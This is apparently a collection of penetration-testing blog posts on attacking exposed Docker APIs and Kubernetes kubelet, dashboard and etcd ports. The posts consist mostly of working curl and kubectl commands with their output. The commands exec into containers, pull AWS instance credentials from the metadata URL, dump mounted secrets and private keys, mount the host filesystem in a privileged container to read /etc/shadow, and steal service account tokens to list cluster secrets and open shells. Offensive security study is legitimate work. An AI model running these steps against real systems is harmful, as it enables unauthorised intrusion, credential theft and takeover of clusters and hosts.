      “4.325MB”
    ],
 —SNIP—


Set up and exec job to hit the metadata URL:

curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d ‘{ “AttachStdin”: false, “AttachStdout”: true, “AttachStderr”: true, “Cmd”: [“/bin/sh”, “-c”, “wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance”]}’

{“Id”:”4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55″}


Get the output:

curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d ‘{}’

{

  “Code” : “Success”,
  “LastUpdated” : “2019-01-29T20:12:58Z”,
  “Type” : “AWS-HMAC”,
  “AccessKeyId” : “ASIATRSNIP”,
  “SecretAccessKey” : “CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP”,
  “Token” : “FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP”,
  “Expiration” : “2019-01-30T02:43:34Z”
}


 Docker secrets
 relevant reading https://docs.docker.com/engine/swarm/secrets/


 list secrets (no secrets/swarm not set up)

 curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq

 { “message”: “This node is not a swarm manager. Use \”docker swarm init\” or \”docker swarm join\” to connect this node to swarm and try again.”}

 list secrets (they exist)

 $ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
 [
  {
    “ID”: “9h3useaicj3tr465ejg2koud5”,
    “Version”: {
      “Index”: 21
    },

    “CreatedAt”: “2018-07-06T10:19:50.677702428Z”,

    “UpdatedAt”: “2018-07-06T10:19:50.677702428Z”,
    “Spec”: {
      “Name”: “registry-key.key”,
      “Labels”: {} }},

Check what is mounted

curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d ‘{ “AttachStdin”: false, “AttachStdout”: true, “AttachStderr”: true, “Cmd”: [“/bin/sh”, “-c”, “mount”]}’

 {“Id”:”7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa”}



Get the output by starting the exec

curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d ‘{}’

overlay on / type overlay 

proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
—SNIP—
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)
tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)
tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)
—SNIP—

Cat the mounted secret

curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d ‘{ “AttachStdin”: false, “AttachStdout”: true, “AttachStderr”: true, “Cmd”: [“/bin/sh”, “-c”, “cat /run/secrets/registry-key.key”]}’

 {“Id”:”3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30″}


 curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d ‘{}’


 —–BEGIN RSA PRIVATE KEY—–

MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0
—SNIP—


If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables

 curl -s –insecure https://tls-opendocker.socket:2376/services | jq

 [{

    “ID”: “amxjs243dzmlc8vgukxdsx57y”,
    “Version”: {
      “Index”: 6417
    },
    “CreatedAt”: “2018-04-16T19:51:20.489851317Z”,
    “UpdatedAt”: “2018-12-07T13:44:36.6869673Z”,
    “Spec”: {
      “Name”: “app_REMOVED”,
      “Labels”: {},
      “TaskTemplate”: {
        “ContainerSpec”: {
          “Image”: “dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739”,
          “Env”: [
            “PGADMIN_DEFAULT_EMAIL=REMOVED@gmail.com”,
            “PGADMIN_DEFAULT_PASSWORD=REMOVED”
          ],
          “Isolation”: “default”


 Creating a container that has mounted the host file system

curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket2376/containers/create?name=test -d ‘{“Image”:”alpine”, “Cmd”:[“/usr/bin/tail”, “-f”, “1234”, “/dev/null”], “Binds”: [ “/:/mnt” ], “Privileged”: true}’

{“Id”:”0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192″,”Warnings”:null}



curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test


Read something from the host


curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d ‘{ “AttachStdin”: false, “AttachStdout”: true, “AttachStderr”: true, “Cmd”: [“/bin/sh”, “-c”, “cat /mnt/etc/shadow”]}’


{“Id”:”140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6″}


curl –insecure -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d ‘{}’


root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7:::

daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7:::

Cleanup

Stop the container

curl –insecure -vv -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop

delete stopped containers

curl –insecure -vv -X POST -H “Content-Type: application/json” https://tls-opendocker.socket:2376/containers/prune


Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: unauth kublet API 10250 token theft & kubectl

Kubernetes: unauthenticated kublet API (10250) token theft & kubectl access & exec

kube-hunter output to get us started:

do a curl -s https://k8-node:10250/runningpods/ to get a list of running pods

With that data, you can craft your post request to exec within a pod so we can poke around.

 Example request:

curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=ls -la /”

Output:
total 35264
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..
-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenv
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 bin
drwxr-xr-x    5 root     root           380 Nov  9 16:27 dev
-rwxr-xr-x    1 root     root      36047205 Apr 13  2018 dnsmasq-nanny
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 etc
drwxr-xr-x    2 root     root          4096 Jan  9  2018 home
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 lib
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 media
drwxr-xr-x    2 root     root          4096 Jan  9  2018 mnt
dr-xr-xr-x  134 root     root             0 Nov  9 16:27 proc
drwx——    2 root     root          4096 Jan  9  2018 root
drwxr-xr-x    2 root     root          4096 Jan  9  2018 run
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 sbin
drwxr-xr-x    2 root     root          4096 Jan  9  2018 srv
dr-xr-xr-x   12 root     root             0 Dec 19 19:06 sys
drwxrwxrwt    1 root     root          4096 Nov  9 17:00 tmp
drwxr-xr-x    7 root     root          4096 Nov  9 16:27 usr
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 var

Check the env and see if the kublet tokens are in the environment variables. depending on the cloud provider or hosting provider they are sometimes right there. Otherwise we need to retrieve them from:
1. the mounted folder
2. the cloud metadata url

Check the env with the following command:

curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=env”

We are looking for the KUBLET_CERT, KUBLET_KEY, & CA_CERT environment variables.

We are also looking for the kubernetes API server. This is most likely NOT the host you are messing with on 10250. We are looking for something like:
KUBERNETES_PORT=tcp://10.10.10.10:443
or
KUBERNETES_MASTER_NAME: 10.11.12.13:443
Once we get the kubernetes tokens or keys we need to talk to the API server to use them. The kublet (10250) wont know what to do with them.  This may be (if we are lucky) another public IP or a 10. IP.  If it’s a 10. IP we need to download kubectl to the pod.
Assuming it’s not in the environment variables let’s look and see if they are there in the mounted secrets
curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=mount”

sample output truncated:
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered)
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

We can then cat out the ca.cert, namespace, and token

curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount”

Output:

total 4
drwxrwxrwt    3 root     root         140 Nov  9 16:27 .
drwxr-xr-x    3 root     root        4.0K Nov  9 16:27 ..
lrwxrwxrwx    1 root     root          13 Nov  9 16:27 ca.crt -> ..data/ca.crt
lrwxrwxrwx    1 root     root          16 Nov  9 16:27 namespace -> ..data/namespace
lrwxrwxrwx    1 root     root          12 Nov  9 16:27 token -> ..data/token

and then:

curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token”

output:

eyJhbGciOiJSUzI1NiI—SNIP—

Also grab the ca.crt 🙂

With the token, ca.crt and api server IP address we can issue commands with kubectl.

$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get pods –all-namespaces

Output:

NAMESPACE     NAME                                                            READY     STATUS    RESTARTS   AGE
kube-system   event-exporter-v0.1.9-5c-SNIP                          2/2       Running   2          120d
kube-system   fluentd-cloud-logging-gke-eeme-api-default-pool   1/1       Running   1          2y
kube-system   heapster-v1.5.2-5-SNIP                              3/3       Running   0          27d
kube-system   kube-dns-5b8-SNIP                                       4/4       Running   0          61d
kube-system   kube-dns-autoscaler-2-SNIP                             1/1       Running   1          252d
kube-system   kube-proxy-gke-eeme-api-default-pool              1/1       Running   1          2y 
kube-system   kubernetes-dashboard-7-SNIP                           1/1       Running   0          27d
kube-system   l7-default-backend-10-SNIP                            1/1       Running   0          27d
kube-system   metrics-server-v0.2.1-7-SNIP                         2/2       Running   0          120d

at this point you can pull secrets or exec into any available pods

$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get secrets –all-namespaces

to get a shell via kubectl

$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get pods –namespace=kube-system

NAME                                                            READY     STATUS    RESTARTS   AGE
event-exporter-v0.1.9-5-SNIP               2/2       Running   2          120d
–SNIP–
metrics-server-v0.2.1-7f8ee58c8f-ab13f     2/2       Running   0          120d

$ kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f –namespace=kube-system–server=https://1.2.3.4  –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— /bin/sh

/ # ls -lah
total 40220
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 .
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 ..
-rwxr-xr-x    1 root     root           0 Sep 11 07:25 .dockerenv
drwxr-xr-x    3 root     root        4.0K Sep 11 07:25 apiserver.local.config
drwxr-xr-x    2 root     root       12.0K Sep 11 07:24 bin
drwxr-xr-x    5 root     root         380 Sep 11 07:25 dev
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 etc
drwxr-xr-x    2 nobody   nogroup     4.0K Nov  1  2017 home
-rwxr-xr-x    2 root     root       39.2M Dec 20  2017 metrics-server
dr-xr-xr-x  135 root     root           0 Sep 11 07:25 proc
drwxr-xr-x    1 root     root        4.0K Dec 19 21:33 root
dr-xr-xr-x   12 root     root           0 Dec 19 19:06 sys
drwxrwxrwt    1 root     root        4.0K Oct 18 13:57 tmp
drwxr-xr-x    3 root     root        4.0K Sep 11 07:24 usr
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 var

For completeness if you got the keys via the environment variables the kubectl command would be something like this:

kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –client-key=kublet.key –client-certificate=kublet.crt get pods –all-namespaces


Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: Kube-Hunter 10255

Below is some sample output that mainly is here to see what open 10255 will give you and look like.  What probably of most interest is the /pods endpoint



or the /metrics endpoint

or the /stats endpoint



$ ./kube-hunter.py
Choose one of the options below:
1. Remote scanning      (scans one or more specific IPs or DNS names)
2. Subnet scanning      (scans subnets on all local network interfaces)
3. IP range scanning    (scans a given IP range)
Your choice: 1
Remotes (separated by a ‘,’): 1.2.3.4
~ Started
~ Discovering Open Kubernetes Services…
|
| Etcd:
|   type: open service
|   service: Etcd
|_  host: 1.2.3.4:2379
|
| API Server:
|   type: open service
|   service: API Server
|_  host: 1.2.3.4:443
|
| API Server:
|   type: open service
|   service: API Server
|_  host: 1.2.3.4:6443
|
| Etcd Remote version disclosure:
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Remote version disclosure might give an
|_    attacker a valuable data to attack a cluster
|
| Etcd is accessible using insecure connection (HTTP):
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Etcd is accessible using HTTP (without
|     authorization and authentication), it would allow a
|     potential attacker to
|     gain access to
|_    the etcd
|
| Kubelet API (readonly):
|   type: open service
|   service: Kubelet API (readonly)
|_  host: 1.2.3.4:10255
|
| Etcd Remote Read Access Event:
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Remote read access might expose to an
|_    attacker cluster’s possible exploits, secrets and more.
|
| K8s Version Disclosure:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     The kubernetes version could be obtained
|_    from logs in the /metrics endpoint
|
| Privileged Container:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     A Privileged container exist on a node.
|     could expose the node/cluster to unwanted root
|_    operations
|
| Cluster Health Disclosure:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     By accessing the open /healthz handler, an
|     attacker could get the cluster health state without
|_    authenticating
|
| Exposed Pods:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     An attacker could view sensitive information
|     about pods that are bound to a Node using
|_    the /pods endpoint

———-

Nodes
+————-+—————+
| TYPE        | LOCATION      |
+————-+—————+
| Node/Master | 1.2.3.4    |
+————-+—————+

Detected Services
+———————-+———————+———————-+
| SERVICE              | LOCATION            | DESCRIPTION          |
+———————-+———————+———————-+
| Kubelet API          | 1.2.3.4:10255       | The read-only port   |
| (readonly)           |                     | on the kubelet       |
|                      |                     | serves health        |
|                      |                     | probing endpoints,   |
|                      |                     | and is relied upon   |
|                      |                     | by many kubernetes   |
|                      |                     | componenets          |
+———————-+———————+———————-+
| Etcd                 | 1.2.3.4:2379        | Etcd is a DB that    |
|                      |                     | stores cluster’s     |
|                      |                     | data, it contains    |
|                      |                     | configuration and    |
|                      |                     | current state        |
|                      |                     | information, and     |
|                      |                     | might contain        |
|                      |                     | secrets              |
+———————-+———————+———————-+
| API Server           | 1.2.3.4:6443        | The API server is in |
|                      |                     | charge of all        |
|                      |                     | operations on the    |
|                      |                     | cluster.             |
+———————-+———————+———————-+
| API Server           | 1.2.3.4:443         | The API server is in |
|                      |                     | charge of all        |
|                      |                     | operations on the    |
|                      |                     | cluster.             |
+———————-+———————+———————-+

Vulnerabilities
+———————+———————-+———————-+———————-+———————-+
| LOCATION            | CATEGORY             | VULNERABILITY        | DESCRIPTION          | EVIDENCE             |
+———————+———————-+———————-+———————-+———————-+
| 1.2.3.4:2379        | Unauthenticated      | Etcd is accessible   | Etcd is accessible   | {“etcdserver”:”2.3.8 |
|                     | Access               | using insecure       | using HTTP (without  | “,”etcdcluster”:”2.3 |
|                     |                      | connection (HTTP)    | authorization and    | …                  |
|                     |                      |                      | authentication), it  |                      |
|                     |                      |                      | would allow a        |                      |
|                     |                      |                      | potential attacker   |                      |
|                     |                      |                      | to                   |                      |
|                     |                      |                      |      gain access to  |                      |
|                     |                      |                      | the etcd             |                      |
+———————+———————-+———————-+———————-+———————-+
| 1.2.3.4:2379        | Information          | Etcd Remote version  | Remote version       | {“etcdserver”:”2.3.8 |
|                     | Disclosure           | disclosure           | disclosure might     | “,”etcdcluster”:”2.3 |
|                     |                      |                      | give an attacker a   | …                  |
|                     |                      |                      | valuable data to     |                      |
|                     |                      |                      | attack a cluster     |                      |
+———————+———————-+———————-+———————-+———————-+
| 1.2.3.4:10255       | Information          | K8s Version          | The kubernetes       | v1.5.6-rc17          |
|                     | Disclosure           | Disclosure           | version could be     |                      |
|                     |                      |                      | obtained from logs   |                      |
|                     |                      |                      | in the /metrics      |                      |
|                     |                      |                      | endpoint             |                      |
+———————+———————-+———————-+———————-+———————-+
| 1.2.3.4:10255       | Information          | Exposed Pods         | An attacker could    | count: 68            |
|                     | Disclosure           |                      | view sensitive       |                      |
|                     |                      |                      | information about    |                      |
|                     |                      |                      | pods that are bound  |                      |
|                     |                      |                      | to a Node using the  |                      |
|                     |                      |                      | /pods endpoint       |                      |
+———————+———————-+———————-+———————-+———————-+
| 1.2.3.4:10255       | Information          | Cluster Health       | By accessing the     | status: ok           |
|                     | Disclosure           | Disclosure           | open /healthz        |                      |
|                     |                      |                      | handler, an attacker |                      |
|                     |                      |                      | could get the        |                      |
|                     |                      |                      | cluster health state |                      |
|                     |                      |                      | without              |                      |
|                     |                      |                      | authenticating       |                      |
+———————+———————-+———————-+———————-+———————-+
| 1.2.3.4:2379        | Access Risk          | Etcd Remote Read     | Remote read access   | {“action”:”get”,”nod |
|                     |                      | Access Event         | might expose to an   | e”:{“dir”:true,”node |
|                     |                      |                      | attacker cluster’s   | …                  |
|                     |                      |                      | possible exploits,   |                      |
|                     |                      |                      | secrets and more.    |                      |
+———————+———————-+———————-+———————-+———————-+
| 1.2.3.4:10255       | Access Risk          | Privileged Container | A Privileged         | pod: node-exporter-  |
|                     |                      |                      | container exist on a | 1fmd9-z9685,         |
|                     |                      |                      | node. could expose   | containe…          |
|                     |                      |                      | the node/cluster to  |                      |
|                     |                      |                      | unwanted root        |                      |
|                     |                      |                      | operations           |                      |
+———————+———————-+———————-+———————-+———————-+

Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: unauth kublet API 10250 basic code exec

Unauth API access (10250)

Most Kubernetes deployments provide authentication for this port. But it’s still possible to expose it inadvertently and it’s still pretty common to find it exposed via the “insecure API service” option.

Everybody who has access to the service kubelet port (10250), even without a certificate, can execute any command inside the container.
# /run/%namespace%/%pod_name%/%container_name%
example:
$ curl -k -XPOST “https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter” -d “cmd=ls -la /”

total 12
drwxr-xr-x   13 root     root           148 Aug 26 11:31 .
drwxr-xr-x   13 root     root           148 Aug 26 11:31 ..
-rwxr-xr-x    1 root     root             0 Aug 26 11:31 .dockerenv
drwxr-xr-x    2 root     root          8192 May  5 22:22 bin
drwxr-xr-x    5 root     root           380 Aug 26 11:31 dev
drwxr-xr-x    3 root     root           135 Aug 26 11:31 etc
drwxr-xr-x    2 nobody   nogroup          6 Mar 18 16:38 home
drwxr-xr-x    2 root     root             6 Apr 23 11:17 lib
dr-xr-xr-x  353 root     root             0 Aug 26 07:14 proc
drwxr-xr-x    2 root     root             6 Mar 18 16:38 root
dr-xr-xr-x   13 root     root             0 Aug 26 15:12 sys
drwxrwxrwt    2 root     root             6 Mar 18 16:38 tmp
drwxr-xr-x    4 root     root            31 Apr 23 11:17 usr
drwxr-xr-x    5 root     root            41 Aug 26 11:31 var
Here is how to get all secrets which container uses (environment variables – commons to see kublet tokens here):
$ curl -k -XPOST “https://k8s-node-1:10250/run/kube-system//” -d “cmd=env”
The list of all pods and containers which were scheduled on the Kubernetes worker node could be retrieved using command below:
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool
or
$ curl –insecure  https://k8s-node-1:10250/runningpods | jq
Example 1:
curl –insecure  https://1.2.3.4:10250/runningpods | jq
Output:
Forbidden (user=system:anonymous, verb=create, resource=nodes, subresource=proxy)
Example 2:
curl –insecure  https://1.2.3.4:10250/runningpods | jq
Output:
Unauthorized
Example 3:
curl –insecure  https://1.2.3.4:10250/runningpods | jq
Output:
{
  “kind”: “PodList”,
  “apiVersion”: “v1”,
  “metadata”: {},
  “items”: [
    {
      “metadata”: {
        “name”: “kube-dns-5b8bf6c4f4-k5n2g”,
        “generateName”: “kube-dns-5b8bf6c4f4-“,
        “namespace”: “kube-system”,
        “selfLink”: “/api/v1/namespaces/kube-system/pods/kube-dns-5b8bf6c4f4-k5n2g”,
        “uid”: “63438841-e43c-11e8-a104-42010a80038e”,
        “resourceVersion”: “85366060”,
        “creationTimestamp”: “2018-11-09T16:27:44Z”,
        “labels”: {
          “k8s-app”: “kube-dns”,
          “pod-template-hash”: “1646927090”
        },
        “annotations”: {
          “kubernetes.io/config.seen”: “2018-11-09T16:27:44.990071791Z”,
          “kubernetes.io/config.source”: “api”,
          “scheduler.alpha.kubernetes.io/critical-pod”: “”
        },
        “ownerReferences”: [
          {
            “apiVersion”: “extensions/v1beta1”,
            “kind”: “ReplicaSet”,
            “name”: “kube-dns-5b8bf6c4f4”,
            “uid”: “633db9d4-e43c-11e8-a104-42010a80038e”,
            “controller”: true
          }
        ]
      },
      “spec”: {
        “volumes”: [
          {
            “name”: “kube-dns-config”,
            “configMap”: {
              “name”: “kube-dns”,
              “defaultMode”: 420
            }
          },
          {
            “name”: “kube-dns-token-xznw5”,
            “secret”: {
              “secretName”: “kube-dns-token-xznw5”,
              “defaultMode”: 420
            }
          }
        ],
        “containers”: [
          {
            “name”: “dnsmasq”,
            “image”: “gcr.io/google-containers/k8s-dns-dnsmasq-nanny-amd64:1.14.10”,
            “args”: [
              “-v=2”,
              “-logtostderr”,
              “-configDir=/etc/k8s/dns/dnsmasq-nanny”,
              “-restartDnsmasq=true”,
              “–“,
              “-k”,
              “–cache-size=1000”,
              “–no-negcache”,
              “–log-facility=-“,
              “–server=/cluster.local/127.0.0.1#10053”,
              “–server=/in-addr.arpa/127.0.0.1#10053”,
              “–server=/ip6.arpa/127.0.0.1#10053”
            ],
            “ports”: [
              {
                “name”: “dns”,
                “containerPort”: 53,
                “protocol”: “UDP”
              },
              {
                “name”: “dns-tcp”,
                “containerPort”: 53,
                “protocol”: “TCP”
              }
            ],
            “resources”: {
              “requests”: {
                “cpu”: “150m”,
                “memory”: “20Mi”
              }
            },
            “volumeMounts”: [
              {
                “name”: “kube-dns-config”,
                “mountPath”: “/etc/k8s/dns/dnsmasq-nanny”
              },
              {
                “name”: “kube-dns-token-xznw5”,
                “readOnly”: true,
                “mountPath”: “/var/run/secrets/kubernetes.io/serviceaccount”
              }
            ],
            “livenessProbe”: {
              “httpGet”: {
                “path”: “/healthcheck/dnsmasq”,
                “port”: 10054,
                “scheme”: “HTTP”
              },
              “initialDelaySeconds”: 60,
              “timeoutSeconds”: 5,
              “periodSeconds”: 10,
              “successThreshold”: 1,
              “failureThreshold”: 5
            },
            “terminationMessagePath”: “/dev/termination-log”,
            “imagePullPolicy”: “IfNotPresent”
          },
        ——–SNIP———
With the output of the running pods command you can craft your command to do the code exec
$ curl -k -XPOST “https://k8s-node-1:10250/run///” -d “cmd=env”

as an example:

leaves you with:
curl -k -XPOST “https://kube-node-here:10250/run/kube-system/kube-dns-5b8bf6c4f4-k5n2g/dnsmasq” -d “cmd=ls -la /”
total 35264
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..
-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenv
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 bin
drwxr-xr-x    5 root     root           380 Nov  9 16:27 dev
-rwxr-xr-x    1 root     root      36047205 Apr 13  2018 dnsmasq-nanny
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 etc
drwxr-xr-x    2 root     root          4096 Jan  9  2018 home
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 lib
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 media
drwxr-xr-x    2 root     root          4096 Jan  9  2018 mnt
dr-xr-xr-x  125 root     root             0 Nov  9 16:27 proc
drwx——    2 root     root          4096 Jan  9  2018 root
drwxr-xr-x    2 root     root          4096 Jan  9  2018 run
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 sbin
drwxr-xr-x    2 root     root          4096 Jan  9  2018 srv
dr-xr-xr-x   12 root     root             0 Nov  9 16:27 sys
drwxrwxrwt    1 root     root          4096 Nov  9 17:00 tmp
drwxr-xr-x    7 root     root          4096 Nov  9 16:27 usr
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 var
Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: List of ports

Other Kubernetes ports

What are some of the visible ports used in Kubernetes?


  • 44134/tcp – Helmtiller, weave, calico
  • 10250/tcp – kubelet (kublet exploit)
    • No authN, completely open
    • /pods
    • /runningpods
    • /containerLogs
  • 10255/tcp – kublet port (read-only)
    • /stats
    • /metrics
    • /pods
  • 4194/tcp – cAdvisor
  • 2379/tcp – etcd (see it on other ports though)
    • Etcd holds all the configs
    • Config storage
  • 30000 – dashboard
  • 443/6443 – api
Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: Kubernetes Dashboard

Tesla was famously hacked for leaving this open and it’s pretty rare to find it exposed externally now but useful to know what it is and what you can do with it.

Usually found on port 30000

kube-hunter finding for it:

Vulnerabilities
+———————–+—————+———————-+———————-+——————+
| LOCATION              | CATEGORY      | VULNERABILITY        | DESCRIPTION          | EVIDENCE         |
+———————–+—————+———————-+———————-+——————+
| 1.2.3.4:30000         | Remote Code   | Dashboard Exposed    | All oprations on the | nodes: pach-okta |
|                       | Execution     |                      | cluster are exposed  |                  |
+———————–+—————+———————-+———————-+——————+

Why do you care?  It has access to all pods and secrets within the cluster. So rather than using command line tools to get secrets or run code you can just do it in a web browser.

Screenshots of what it looks like:

viewing secrets



utilization



logs
shells

Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: Kubelet API containerLogs endpoint

How to get the info that kube-hunter reports for open /containerLogs endpoint



Vulnerabilities
+—————+————-+——————+———————-+—————-+
| LOCATION       CATEGORY     | VULNERABILITY    | DESCRIPTION          | EVIDENCE       |
+—————+————-+——————+———————-+—————-+
+—————-+————+——————+———————-+—————-+
| 1.2.3.4:10250 | Information | Exposed Container| Output logs from a   |                |
|               | Disclosure  | Logs             | running container    |                |
|               |             |                  | are using the        |                |
|               |             |                  | exposed              |                |
|               |             |                  | /containerLogs       |                |
|               |             |                  | endpoint             |                |
+—————+————-+——————+———————-+—————-+

First step, grab the output from /runningpods/ example below:


You’ll need the namespace, pod name and container name.

Thus given the below runningpods output:

{"metadata":{"name":"monitoring-influxdb-grafana-v4-6679c46745-zhvjw","namespace":"kube-system","uid":"0d22cdad-06e5-11e9-a7f3-6ac885fbc092","creationTimestamp":null},"spec":{"containers":[{"name":"grafana","image":"sha256:8cb3de219af7bdf0b3ae66439aecccf94cebabb230171fa4b24d66d4a786f4f7","resources":{}},{"name":"influxdb","image":"sha256:577260d221dbb1be2d83447402d0d7c5e15501a89b0e2cc1961f0b24ed56c77c","resources":{}}]},


turns into:


https://1.2.3.4:10250/containerLogs/kube-system/monitoring-influxdb-grafana-v4-6679c46745-zhvjw/grafana


and

